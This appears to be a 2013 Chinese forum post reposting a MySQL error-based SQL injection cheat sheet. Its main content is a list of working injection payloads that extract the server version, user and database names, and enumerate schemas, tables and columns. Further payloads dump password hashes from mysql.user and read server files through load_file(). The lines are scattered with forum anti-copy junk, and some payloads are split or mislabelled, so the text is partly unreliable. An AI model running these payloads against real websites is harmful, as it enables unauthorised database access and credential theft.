Mysql暴错注入参考（pdf）

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本帖最后由 Nightmare 于 2013-3-17 14:20 编辑


Mysql暴错注入参考（pdf），每天一贴。。。
* i5 N) I; {3 J8 l1 Q2 V3 o
MySql Error Based Injection Reference
5 B$ @# h& k* G; @! o8 u[Mysql暴错注入参考]
Authornig0s1992
/ h# o) I1 }( P! t6 aBlog:http://pnig0s1992.blog.51cto.com/
TeAm:http://www.FreeBuf.com/
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
  j' |) P$ c2 }) f小部分版本使用name_const()时会报错.可以用给出的Method.2测试
查询版本:
7 V% x5 Y1 H- P- z( |* s2 yMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
0 V2 p& N7 A% q/ \8 Ajoin+(select+name_const(@@version,0))b)c)
& w$ l2 v5 S& r6 t- E; i. Z0 CMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
1 R% j* _$ T6 K0 Vup by a)b)
查询当前用户:
/ |; Q! H8 A/ S! O5 `0 j0 `& {Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)
查询当前数据库:
5 S% C1 t3 a& }8 YMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
" N2 B+ n- I/ n; }$ E! V依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
. p  Z$ h9 m  J! H- bLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
顺序替换
# d2 s2 e/ L! Y爆指定库数目:
6 R* m! S* m) s4 Nand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
  g3 n, Z! _4 Z6 c: r3 @9 x# L% [able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
, Z& y; K/ v1 ^1 d! H8 e+by+x)a)+and+1=1 0x6D7973716C=mysql
依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
6 S3 V2 {, J: ?4 Ybles+group+by+x)a)+and+1=1
0x6D7973716C=Mysql 将n顺序替换
, H7 V* @* s3 w( |: y( D; [1 ]爆表内字段数目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
- ^$ I4 }5 ]) V( O; ]依次爆字段:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
; c, O: f' w! k" l- r依次暴内容:
( t/ g2 }. |' a( H6 Xand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
( |9 l% C5 f) G3 B( y7 _- L5 W0 o将n顺序替换
, q2 x4 K( Q3 L7 L1 R' V爆文件内容:
5 q' u5 F- u0 b2 u4 O0 @and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
5 @# R  L* [1 w9 q* ]! Efrom+information_schema.tables+group+by+a)b)
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
Thx for reading.

3 U' k; x7 @: y" g, o. F不要下载也可以，